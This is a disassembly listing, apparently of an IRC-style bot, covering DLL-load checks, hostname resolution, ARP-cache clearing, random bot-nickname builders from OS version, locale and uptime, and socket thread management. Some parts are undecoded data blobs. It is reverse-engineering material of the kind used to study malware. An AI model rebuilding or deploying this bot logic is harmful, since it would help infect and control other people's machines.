		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41BA76
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 20h


loc_40A8A5:				; CODE XREF: sub_40A6BD+1BAj
		cmp	ds:dword_4CDCFC, esi
		jz	short loc_40A8D9
		push	ds:dword_4CDD00
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41BA76
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 20h


loc_40A8D9:				; CODE XREF: sub_40A6BD+1EEj
		cmp	ds:dword_4CDD04, esi
		jz	short loc_40A90D
		push	ds:dword_4CDD08
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41BA76
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 20h


loc_40A90D:				; CODE XREF: sub_40A6BD+222j
		cmp	ds:dword_4CDD0C, esi
		jz	short loc_40A941
		push	ds:dword_4CDD10
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41BA76
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 20h


loc_40A941:				; CODE XREF: sub_40A6BD+256j
		cmp	ds:dword_4CDD14, esi
		jz	short loc_40A975
		push	ds:dword_4CDD18
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41BA76
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 20h


loc_40A975:				; CODE XREF: sub_40A6BD+28Aj
		cmp	ds:dword_4CDD1C, esi
		jz	short loc_40A9A9
		push	ds:dword_4CDD20
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_41BA76
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 20h


loc_40A9A9:				; CODE XREF: sub_40A6BD+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42E9CC
		push	eax
		call	sub_41BA76
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40A9D6
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 14h


loc_40A9D6:				; CODE XREF: sub_40A6BD+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4152AE
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A6BD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A9E8	proc near		; CODE XREF: sub_401875+4Fp
					; seg000:0040770Ap ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_4CDC38	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40AA10
		push	[esp+arg_0]
		call	ds:dword_4CDC7C	; gethostbyname
		test	eax, eax
		jnz	short loc_40AA09
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40AA09:				; CODE XREF: sub_40A9E8+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40AA10:				; CODE XREF: sub_40A9E8+Dj
		retn
sub_40A9E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AA11	proc near		; CODE XREF: sub_401875+D6p
		mov	ecx, ds:dword_4CDB14
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AA1F
		jmp	ecx
; ---------------------------------------------------------------------------

locret_40AA1F:				; CODE XREF: sub_40AA11+Aj
		retn
sub_40AA11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA20	proc near		; CODE XREF: seg000:loc_403F07p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		xor	ebx, ebx
		push	esi
		inc	ebx
		push	edi
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	ds:dword_4CDC74	; GetIpNetTable
		mov	ecx, eax
		sub	ecx, edi
		jz	short loc_40AAA7
		sub	ecx, 32h
		jz	loc_40AAF1
		sub	ecx, 48h
		jz	short loc_40AA7C
		sub	ecx, 6Eh
		jz	short loc_40AA75


loc_40AA5E:				; CODE XREF: sub_40AA20+85j
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42EBE0
		push	eax
		call	sub_41BA76
		add	esp, 0Ch
		jmp	short loc_40AAD2
; ---------------------------------------------------------------------------


loc_40AA75:				; CODE XREF: sub_40AA20+3Cj
		push	offset unk_42EBBC
		jmp	short loc_40AAC4
; ---------------------------------------------------------------------------


loc_40AA7C:				; CODE XREF: sub_40AA20+37j
		push	[ebp+var_8]
		call	sub_41B6C5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41B780
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40AABF
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	ds:dword_4CDC74	; GetIpNetTable
		cmp	eax, edi
		jnz	short loc_40AA5E


loc_40AAA7:				; CODE XREF: sub_40AA20+29j
		cmp	[esi], edi
		jbe	short loc_40AAE2
		lea	ebx, [esi+4]


loc_40AAAE:				; CODE XREF: sub_40AA20+9Bj
		push	ebx
		call	ds:dword_4CDC70	; DeleteIpNetEntry
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40AAAE
		jmp	short loc_40AAE2
; ---------------------------------------------------------------------------


loc_40AABF:				; CODE XREF: sub_40AA20+75j
		push	offset unk_42EB8C


loc_40AAC4:				; CODE XREF: sub_40AA20+5Aj
					; sub_40AA20+D6j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41BA76
		pop	ecx
		pop	ecx


loc_40AAD2:				; CODE XREF: sub_40AA20+53j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_4152AE
		pop	ecx


loc_40AAE2:				; CODE XREF: sub_40AA20+89j
					; sub_40AA20+9Dj
		push	esi
		call	sub_41B2A1
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40AAF1:				; CODE XREF: sub_40AA20+2Ej
		push	offset unk_42EB5C
		jmp	short loc_40AAC4
sub_40AA20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AAF8	proc near		; CODE XREF: seg000:00403CAEp
					; seg000:00403DE5p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4CDB9C	; getsockname
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CDD24
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41BA76
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AAF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AB51	proc near		; CODE XREF: seg000:00412E88p
					; seg000:00412ECEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		xor	edx, edx
		cmp	ecx, 1
		push	esi
		jle	short loc_40AB7C
		lea	eax, [ecx-2]
		push	edi
		shr	eax, 1
		inc	eax
		mov	esi, eax
		neg	esi
		lea	ecx, [ecx+esi*2]
		mov	esi, [esp+8+arg_0]


loc_40AB6F:				; CODE XREF: sub_40AB51+26j
		movzx	edi, word ptr [esi]
		add	edx, edi
		inc	esi
		inc	esi
		dec	eax
		jnz	short loc_40AB6F
		pop	edi
		jmp	short loc_40AB80
; ---------------------------------------------------------------------------


loc_40AB7C:				; CODE XREF: sub_40AB51+Aj
		mov	esi, [esp+4+arg_0]


loc_40AB80:				; CODE XREF: sub_40AB51+29j
		test	ecx, ecx
		jz	short loc_40AB89
		movzx	eax, byte ptr [esi]
		add	edx, eax


loc_40AB89:				; CODE XREF: sub_40AB51+31j
		mov	ecx, edx
		and	edx, 0FFFFh
		shr	ecx, 10h
		add	ecx, edx
		pop	esi
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AB51	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ABA1	proc near		; CODE XREF: sub_40AF07+4Ap
					; DATA XREF: seg002:off_42EC28o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	ds:dword_4280A8	; GetTickCount
		push	eax
		call	sub_41BAC8
		call	sub_41BAD2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+0Ch+arg_0]
		push	ds:off_42EC90[edx*4]
		push	offset aS_2	; "%s"
		push	1Ch
		push	edi
		call	sub_41BB70
		xor	esi, esi
		add	esp, 14h
		cmp	ds:dword_42A09C, esi
		jle	short loc_40AC08


loc_40ABE2:				; CODE XREF: sub_40ABA1+65j
		call	sub_41BAD2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42CB18
		push	1Ch
		push	edi
		call	sub_41BB70
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_42A09C
		jl	short loc_40ABE2


loc_40AC08:				; CODE XREF: sub_40ABA1+3Fj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40ABA1	endp

; ---------------------------------------------------------------------------
		push	esi
		push	edi
		call	ds:dword_4280A8	; GetTickCount
		push	eax
		call	sub_41BAC8
		mov	edi, [esp+10h]
		mov	dword ptr [esp], offset	aLove ;	"Love"
		push	offset aS_2	; "%s"
		push	1Ch
		push	edi
		call	sub_41BB70
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_42A09C, esi
		jle	short loc_40AC66


loc_40AC40:				; CODE XREF: seg000:0040AC64j
		call	sub_41BAD2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42CB18
		push	1Ch
		push	edi
		call	sub_41BB70
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_42A09C
		jl	short loc_40AC40


loc_40AC66:				; CODE XREF: seg000:0040AC3Ej
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		call	ds:dword_4280A8	; GetTickCount
		push	eax
		call	sub_41BAC8
		pop	ecx
		call	sub_41BAD2
		push	3
		mov	ebx, [esp+14h]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, ds:dword_42A09C
		test	esi, esi
		jle	short loc_40ACAE


loc_40AC98:				; CODE XREF: seg000:0040ACACj
		call	sub_41BAD2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40AC98


loc_40ACAE:				; CODE XREF: seg000:0040AC96j
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	dword ptr [ebp-4], 100h
		call	ds:dword_4280A8	; GetTickCount
		push	eax
		call	sub_41BAC8
		pop	ecx
		lea	eax, [ebp-4]
		mov	esi, offset aPc	; "PC"
		push	eax
		push	esi
		call	near ptr 0B10000h
		inc	ebp
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41BB70
		xor	esi, esi
		add	esp, 0Ch
		cmp	ds:dword_42A09C, esi
		jle	short loc_40AD21


loc_40ACFB:				; CODE XREF: seg000:0040AD1Fj
		call	sub_41BAD2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42CB18
		push	1Ch
		push	edi
		call	sub_41BB70
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_42A09C
		jl	short loc_40ACFB


loc_40AD21:				; CODE XREF: seg000:0040ACF9j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	ds:dword_4280A8	; GetTickCount
		push	eax
		call	sub_41BAC8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	ds:dword_4280C4	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset aS_3	; "%s|"
		push	1Ch
		push	edi
		call	sub_41BB70
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_42A09C, esi
		jle	short loc_40AD96


loc_40AD70:				; CODE XREF: seg000:0040AD94j
		call	sub_41BAD2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42CB18
		push	1Ch
		push	edi
		call	sub_41BB70
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_42A09C
		jl	short loc_40AD70


loc_40AD96:				; CODE XREF: seg000:0040AD6Ej
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset dword_43FDB4
		mov	dword ptr [ebp-94h], 94h
		call	ds:dword_4280C8	; GetVersionExA
		call	ds:dword_4280A8	; GetTickCount
		push	eax
		call	sub_41BAC8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AE20
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AE00
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40ADF0
		mov	esi, offset a95	; "95"


loc_40ADF0:				; CODE XREF: seg000:0040ADE9j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AE5C
		mov	esi, offset aNt_0 ; "NT"
		jmp	short loc_40AE5C
; ---------------------------------------------------------------------------


loc_40AE00:				; CODE XREF: seg000:0040ADE0j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AE10
		mov	esi, offset a98	; "98"
		jmp	short loc_40AE5C
; ---------------------------------------------------------------------------


loc_40AE10:				; CODE XREF: seg000:0040AE07j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AE57
		mov	esi, offset aMe_0 ; "ME"
		jmp	short loc_40AE5C
; ---------------------------------------------------------------------------


loc_40AE20:				; CODE XREF: seg000:0040ADD7j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AE57
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AE39
		mov	esi, offset a2k	; "2K"
		jmp	short loc_40AE5C
; ---------------------------------------------------------------------------


loc_40AE39:				; CODE XREF: seg000:0040AE30j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AE49
		mov	esi, offset aXp_0 ; "XP"
		jmp	short loc_40AE5C
; ---------------------------------------------------------------------------


loc_40AE49:				; CODE XREF: seg000:0040AE40j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset a2k3 ; "2K3"
		jz	short loc_40AE5C


loc_40AE57:				; CODE XREF: seg000:0040AE17j
					; seg000:0040AE27j
		mov	esi, offset a??? ; "???"


loc_40AE5C:				; CODE XREF: seg000:0040ADF7j
					; seg000:0040ADFEj ...
		mov	edi, [ebp+8]
		push	esi
		push	offset aS_4	; "[%s]|"
		push	1Ch
		push	edi
		call	sub_41BB70
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_42A09C, esi
		jle	short loc_40AEA0


loc_40AE7A:				; CODE XREF: seg000:0040AE9Ej
		call	sub_41BAD2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42CB18
		push	1Ch
		push	edi
		call	sub_41BB70
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_42A09C
		jl	short loc_40AE7A


loc_40AEA0:				; CODE XREF: seg000:0040AE78j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AEA6	proc near		; CODE XREF: sub_40AF07+5Dp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		call	ds:dword_4280A8	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		cmp	eax, 64h
		jbe	short loc_40AED4
		push	eax
		push	offset aD_2	; "[%d]"
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41BB70
		add	esp, 10h


loc_40AED4:				; CODE XREF: sub_40AEA6+18j
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B1D0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_40AF02
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C3D0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41B7E0
		add	esp, 18h


loc_40AF02:				; CODE XREF: sub_40AEA6+3Bj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40AEA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AF07	proc near		; CODE XREF: sub_401875+7Fp
					; sub_4019DB+43p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi


loc_40AF10:				; CODE XREF: sub_40AF07+40j
		cmp	[ebp+arg_C], 0
		jz	short loc_40AF2E
		lea	eax, aReal[esi]	; "real"
		push	eax
		push	[ebp+arg_C]
		call	sub_41C260
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40AF3C
; ---------------------------------------------------------------------------


loc_40AF2E:				; CODE XREF: sub_40AF07+Dj
		mov	ecx, ds:dword_42EC24[esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40AF3C:				; CODE XREF: sub_40AF07+25j
		test	eax, eax
		jnz	short loc_40AF4B
		add	esi, 14h
		inc	edi
		cmp	esi, 78h
		jb	short loc_40AF10
		jmp	short loc_40AF59
; ---------------------------------------------------------------------------


loc_40AF4B:				; CODE XREF: sub_40AF07+37j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	ds:off_42EC28[eax*4]
		pop	ecx


loc_40AF59:				; CODE XREF: sub_40AF07+42j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40AF6C
		push	[ebp+arg_0]
		call	sub_40AEA6
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40AF6C:				; CODE XREF: sub_40AF07+58j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40AF07	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AF71	proc near		; CODE XREF: seg000:00402257p
					; seg000:004024B4p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_440938


loc_40AF79:				; CODE XREF: sub_40AF71+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40AF8D
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CD938
		jl	short loc_40AF79
		jmp	short loc_40AFD8
; ---------------------------------------------------------------------------


loc_40AF8D:				; CODE XREF: sub_40AF71+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_440938[esi]
		push	eax
		call	sub_41B7E0
		mov	eax, [esp+14h+arg_4]
		and	ds:dword_440B3C[esi], 0
		and	ds:dword_440B40[esi], 0
		mov	ds:dword_440B38[esi], eax
		mov	eax, [esp+14h+arg_8]
		add	esp, 0Ch
		and	ds:byte_440B50[esi], 0
		mov	ds:dword_440B44[esi], eax
		pop	esi


loc_40AFD8:				; CODE XREF: sub_40AF71+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40AF71	endp

; ---------------------------------------------------------------------------
dword_40AFDC	dd 81EC8B55h, 98ECh, 8458B00h, 266A5756h, 8DF08B59h, 0FFFF68BDh
					; DATA XREF: seg000:00404441o
		dd 0FFA5F3FFh, 80C7F075h, 94h, 1, 0FF6C858Dh, 75FFFFFFh
		dd 0B5FF50F4h, 0FFFFFF68h, 15E8h, 0EC75FF00h, 266E8h, 14C48300h
		dd 0D5E8006Ah, 0BE00704Fh, 8B555E5Fh, 0EC81ECh,	56000002h
		dd 0FF006A57h, 14681075h, 0FF00432Ah, 75FF0C75h, 0E918E808h
		dd 0C483FFFFh, 0BEFF3314h, 440938h, 74003E80h, 147D833Ch
		dd 83097500h, 204BEh, 2D750000h, 858D5756h, 0FFFFFE00h
		dd 42D85068h, 0F7E85000h, 6A000109h, 858D01h, 0FFFFFFFEh
		dd 0FF501075h, 75FF0C75h, 0E8D0E808h, 0C483FFFFh, 34C68124h
		dd 47000002h, 0D938FE81h, 0B07C004Ch, 0C3C95E5Fh

; =============== S U B	R O U T	I N E =======================================



sub_40B0AC	proc near		; CODE XREF: seg000:00409589p
					; sub_40B134+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B12E
		cmp	esi, 400h
		jge	short loc_40B12E
		imul	esi, 234h
		push	edi
		push	ebx
		lea	edi, dword_440B4C[esi]
		push	dword ptr [edi]
		call	near ptr 0B10000h
		lds	edi, [ecx]
		pop	ds
		jz	short loc_40B0DE
		inc	ebp


loc_40B0DE:				; CODE XREF: sub_40B0AC+2Fj
		mov	[edi], ebx
		lea	edi, dword_440B40[esi]
		mov	ds:dword_440B38[esi], ebx
		mov	ds:dword_440B3C[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B0FF
		push	eax
		call	near ptr sub_419B94
		pop	ecx


loc_40B0FF:				; CODE XREF: sub_40B0AC+4Aj
		mov	[edi], ebx
		lea	edi, dword_440B44[esi]
		mov	byte ptr ds:dword_440938[esi], bl
		mov	ds:byte_440B50[esi], bl
		push	dword ptr [edi]
		call	ds:dword_4CDC90	; closesocket
		lea	esi, dword_440B48[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	ds:dword_4CDC90	; closesocket
		mov	[esi], ebx
		pop	edi


loc_40B12E:				; CODE XREF: sub_40B0AC+Dj
					; sub_40B0AC+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B0AC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40B134	proc near		; CODE XREF: sub_401132+18p
					; seg000:00404A41p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_440938


loc_40B140:				; CODE XREF: sub_40B134+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B151
		push	edi
		call	sub_40B0AC
		test	eax, eax
		pop	ecx
		jz	short loc_40B151
		inc	ebx


loc_40B151:				; CODE XREF: sub_40B134+Fj
					; sub_40B134+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CD938
		jl	short loc_40B140
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B134	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B166	proc near		; CODE XREF: seg000:00405C75p
					; seg000:00405DC3p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_440B3C


loc_40B17A:				; CODE XREF: sub_40B166+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B19C
		test	edi, edi
		jle	short loc_40B18E
		cmp	[esi], edi
		jz	short loc_40B18E
		cmp	ebx, edi
		jnz	short loc_40B19C


loc_40B18E:				; CODE XREF: sub_40B166+1Ej
					; sub_40B166+22j
		push	ebx
		call	sub_40B0AC
		test	eax, eax
		pop	ecx
		jz	short loc_40B19C
		inc	[ebp+var_4]


loc_40B19C:				; CODE XREF: sub_40B166+1Aj
					; sub_40B166+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CDB3C
		jl	short loc_40B17A
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B166	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B1B3	proc near		; CODE XREF: seg000:0040242Dp
					; seg000:004037BCp ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_440B38


loc_40B1BA:				; CODE XREF: sub_40B1B3+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B1C3
		inc	eax


loc_40B1C3:				; CODE XREF: sub_40B1B3+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CDB38
		jl	short loc_40B1BA
		retn
sub_40B1B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B1D2	proc near		; CODE XREF: seg000:00403EA4p

arg_0		= dword	ptr  4

		xor	eax, eax
		xor	edx, edx
		mov	ecx, offset dword_440B38
		push	esi


loc_40B1DC:				; CODE XREF: sub_40B1D2+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B1F5
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CDB38
		jl	short loc_40B1DC
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B1F5:				; CODE XREF: sub_40B1D2+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B1D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B1F9	proc near		; CODE XREF: seg000:00402CFBp
					; seg000:00402D19p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B212
		push	[ebp+arg_1C]
		call	sub_41B969
		pop	ecx


loc_40B212:				; CODE XREF: sub_40B1F9+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B166
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B23E
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41BA76
		add	esp, 14h
		jmp	short loc_40B258
; ---------------------------------------------------------------------------


loc_40B23E:				; CODE XREF: sub_40B1F9+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41BA76
		add	esp, 10h


loc_40B258:				; CODE XREF: sub_40B1F9+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B278
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 14h


loc_40B278:				; CODE XREF: sub_40B1F9+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4152AE
		pop	ecx
		leave
		retn
sub_40B1F9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B287	proc near		; CODE XREF: sub_401875+154p
					; seg000:0040B8A3p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	ds:dword_440B4C[eax], ecx
		mov	ds:dword_440B38[eax], ecx
		mov	ds:dword_440B3C[eax], ecx
		mov	ds:dword_440B40[eax], ecx
		mov	ds:dword_440B44[eax], ecx
		mov	ds:dword_440B48[eax], ecx
		mov	byte ptr ds:dword_440938[eax], cl
